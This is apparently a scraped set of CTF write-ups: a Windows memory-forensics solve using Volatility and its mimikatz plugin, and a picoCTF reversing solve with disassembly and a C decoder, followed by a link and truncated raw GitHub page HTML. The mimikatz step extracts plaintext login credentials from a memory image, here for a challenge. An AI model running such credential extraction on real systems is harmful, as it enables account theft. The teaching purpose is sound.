analyzing the memory dump we see that there is a python script on the desktop.Analyzing the image we see that the script has been executed and returns a hexadecimal value. Using Volatility to analyze, we see the output of the script using the followingcommand volatility -f Challenge.raw --profile=Win7SP1x86 consoles C:\Users\hello>C:\Python27\python.exe C:\Users\hello\Desktop\demon.py.txt 335d366f5d6031767631707f We continued analyzing the image and found the following string Thanos = xor and password XOR brute force is tested on the hexadecimal chain and we find the last part of the flag. IN = 335d366f5d6031767631707f KEY = 0x02 OUT = 1_4m_b3tt3r} We're still analyzing the image to find the first chain of the flag. In this case we use a Mimikatz plugin for Volatility volatility -f Challenge.raw --profile=Win7SP1x86 mimikatz Module User Domain Password -------- ---------------- ---------------- ------------------------------------wdigest hello hello-PC flag{you_are_good_but wdigest HELLO-PC$ WORKGROUP And if we put the two flag pieces together, we've got the challenge solved. Thanks to Wagiro and Patatas Borja```
```——> ./mainWe're moving along swimmingly. Is this one too fowl for you?Enter text to encrypt: AAAABBBBHere's your ciphertext: 02 02 02 02 32 32 32 32Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 35 40 65 95 75 00 30 85 C1That's all folks.``` this program encrypts the characters you give it, prints the encrypted chars, then tells you to "quack" a ciphertext. inspecting the executable we come across the encryption function. the important stuff is in this snippet, which i already commented: ```| ; CODE XREF from sym.encrypt (0x80486ef) | .-> 0x0804869f 8b55f0 edx = dword [counter] | : 0x080486a2 8b4508 eax = dword [string] ; [0x8:4]=-1 ; 8 | : 0x080486a5 01d0 eax += edx | : 0x080486a7 0fb600 eax = byte [eax] ; get the current char | : 0x080486aa 8845ef byte [character] = al | : 0x080486ad 0fbe45ef eax = byte [character] ; get only the single char (only one byte) | : 0x080486b1 83ec0c esp -= 0xc | : 0x080486b4 50 push eax | : 0x080486b5 e817ffffff sym.rol4 () ;[1] ; rotate it left 4 bits | : 0x080486ba 83c410 esp += 0x10 ; return value is in eax | : 0x080486bd 8845ef byte [character] = al | : 0x080486c0 8075ef16 byte [character] ^= 0x16 ; XOR it with 0x16 = 22 = 0b00010110 | : 0x080486c4 0fbe45ef eax = byte [character] | : 0x080486c8 83ec0c esp -= 0xc | : 0x080486cb 50 push eax | : 0x080486cc b e827ffffff sym.ror8 () ;[2] ; rotate it right 8 bits | : ;-- eip: | : 0x080486d1 83c410 esp += 0x10 | : 0x080486d4 8845ef byte [character] = al | : 0x080486d7 8b55f0 edx = dword [counter] | : 0x080486da 8b4508 eax = dword [string] ; [0x8:4]=-1 ; 8 | : 0x080486dd 01c2 edx += eax | : 0x080486df 0fb645ef eax = byte [character] | : 0x080486e3 8802 byte [edx] = al ; put it back in the string buffer | : 0x080486e5 8345f001 dword [counter] += 1 ; increment counter | : ; CODE XREF from sym.encrypt (0x804869d) | : 0x080486e9 8b45f0 eax = dword [counter] | : 0x080486ec 3b45f4 var = eax - dword [length] | `=< 0x080486ef 7cae jl 0x804869f ;[3] | 0x080486f1 8b45f4 eax = dword [length] | 0x080486f4 c9 \ 0x080486f5 c3 return dword [length] ``` pretty easy stuff. basically goes trough every character of our input, rotates it left 4 bits, XORs it with 0x16, then rotates it right 8 bits; notice the rotate 8 bits does nothing since we work with 8 bits values. we can decrypt the quacked ciphertext with this simple C code: ```#include <stdio.h>#include <stdint.h> // for uint8_t int main(void) { uint8_t encrypted[] = { 0x11, 0x80, 0x20, 0xE0, 0x22, 0x53, 0x72, 0xA1, 0x01, 0x41, 0x55, 0x20, 0xA0, 0xC0, 0x25, 0xE3, 0x35, 0x40, 0x65, 0x95, 0x75, 0x00, 0x30, 0x85, 0xC1 }; char decrypted[64]; int i = 0; uint8_t c, n; memset(decrypted, 0x00, 64); for (i = 0; i < 25; i++) { c = encrypted[i]; c ^= 0x16; n = (c << 4) | (c >> 4); decrypted[i] = n; } puts(decrypted); return 0;}``` that simply goes trough the encryption algorithm in the inverse order. ```——> ./solverpicoCTF{qu4ckm3_2e786ab9}```
Writeup by challenge author. tl;dr Malbolge + Fcrackzip Link to the write-up : https://volatilevirus.home.blog/2018/10/27/bsides-delhi-ctf18-recursive-cracker-write-up/
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf/2018/BSides Delhi CTF 2018 at master · acdwas/ctf · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="E1D9:0F2B:6C14F90:6F1B934:6412259F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c2a3bd7c84c01ad4b090279f546ba686ce38ea20de755fb923142b1aaa2fc477" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFMUQ5OjBGMkI6NkMxNEY5MDo2RjFCOTM0OjY0MTIyNTlGIiwidmlzaXRvcl9pZCI6Ijg1Njk0Mjc3OTk4Nzc3NTYzMTkiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="4da449bf6664847e9be3f2f8eae94496d5c6c45db82c83b459aa1939f1bad4cb" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:124655323" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to acdwas/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/9b98b72adb831b3851b01805511beba058a5c295fb1ddd78c19386b02ddab30b/acdwas/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/2018/BSides Delhi CTF 2018 at master · acdwas/ctf" /><meta name="twitter:description" content="Contribute to acdwas/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/9b98b72adb831b3851b01805511beba058a5c295fb1ddd78c19386b02ddab30b/acdwas/ctf" /><meta property="og:image:alt" content="Contribute to acdwas/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/2018/BSides Delhi CTF 2018 at master · acdwas/ctf" /><meta property="og:url" content="https://github.com/acdwas/ctf" /><meta property="og:description" content="Contribute to acdwas/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/acdwas/ctf git https://github.com/acdwas/ctf.git"> <meta name="octolytics-dimension-user_id" content="17169107" /><meta name="octolytics-dimension-user_login" content="acdwas" /><meta name="octolytics-dimension-repository_id" content="124655323" /><meta name="octolytics-dimension-repository_nwo" content="acdwas/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="124655323" /><meta name="octolytics-dimension-repository_network_root_nwo" content="acdwas/ctf" /> <link rel="canonical" href="https://github.com/acdwas/ctf/tree/master/2018/BSides%20Delhi%20CTF%202018" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 